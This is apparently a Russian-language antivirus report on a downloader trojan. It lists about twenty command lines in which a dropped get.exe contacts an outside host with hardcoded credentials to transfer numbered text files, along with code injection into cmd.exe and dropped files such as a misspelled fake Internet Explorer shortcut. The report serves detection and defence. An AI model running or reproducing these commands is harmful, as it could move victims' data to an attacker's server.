Trojan.DownLoader11.21225

Техническая информация

Вредоносные функции:

Создает и запускает на исполнение:

'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 13.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 14.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 12.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 10.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 11.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 17.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 18.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' /C echo y|get test.mingyuanjiafang.com -l mytest -pw mytest888 -b 17.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 15.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 16.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 3.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 4.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 2.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 0.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 1.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 8.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 9.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 7.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 5.txt -bc
'%PROGRAM_FILES%\OnlineSoft\get.exe' test.mingyuanjiafang.com -l mytest -pw mytest888 -b 6.txt -bc

Внедряет код в

следующие системные процессы:

<SYSTEM32>\cmd.exe

Изменения в файловой системе:

Создает следующие файлы:

%PROGRAM_FILES%\OnlineSoft\10.txt
%PROGRAM_FILES%\OnlineSoft\9.txt
%PROGRAM_FILES%\OnlineSoft\12.txt
%PROGRAM_FILES%\OnlineSoft\11.txt
%PROGRAM_FILES%\OnlineSoft\6.txt
%PROGRAM_FILES%\OnlineSoft\5.txt
%PROGRAM_FILES%\OnlineSoft\8.txt
%PROGRAM_FILES%\OnlineSoft\7.txt
%PROGRAM_FILES%\OnlineSoft\18.txt
%PROGRAM_FILES%\OnlineSoft\17.txt
%HOMEPATH%\Desktop\Intrenet Explorer.lnk
%PROGRAM_FILES%\OnlineSoft\19.txt
%PROGRAM_FILES%\OnlineSoft\14.txt
%PROGRAM_FILES%\OnlineSoft\13.txt
%PROGRAM_FILES%\OnlineSoft\16.txt
%PROGRAM_FILES%\OnlineSoft\15.txt
%PROGRAM_FILES%\OnlineSoft\4.txt
%TEMP%\nsh3.tmp\Base64.dll
%TEMP%\i.rar
%PROGRAM_FILES%\OnlineSoft\Undell.exe
%PROGRAM_FILES%\OnlineSoft\get.exe
%TEMP%\nsh3.tmp\System.dll
%TEMP%\nsn2.tmp
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\iplookup[1].php
%TEMP%\nsh3.tmp\Inetc.dll
%PROGRAM_FILES%\OnlineSoft\1.txt
<LS_APPDATA>\PUTTY.RND
%PROGRAM_FILES%\OnlineSoft\3.txt
%PROGRAM_FILES%\OnlineSoft\2.txt
%TEMP%\nsh3.tmp\nsProcess.dll
%HOMEPATH%\Start Menu\Programs\OnlineSoft\Undell.lnk
%PROGRAM_FILES%\OnlineSoft\0.txt
%TEMP%\nsh3.tmp\ExecCmd.dll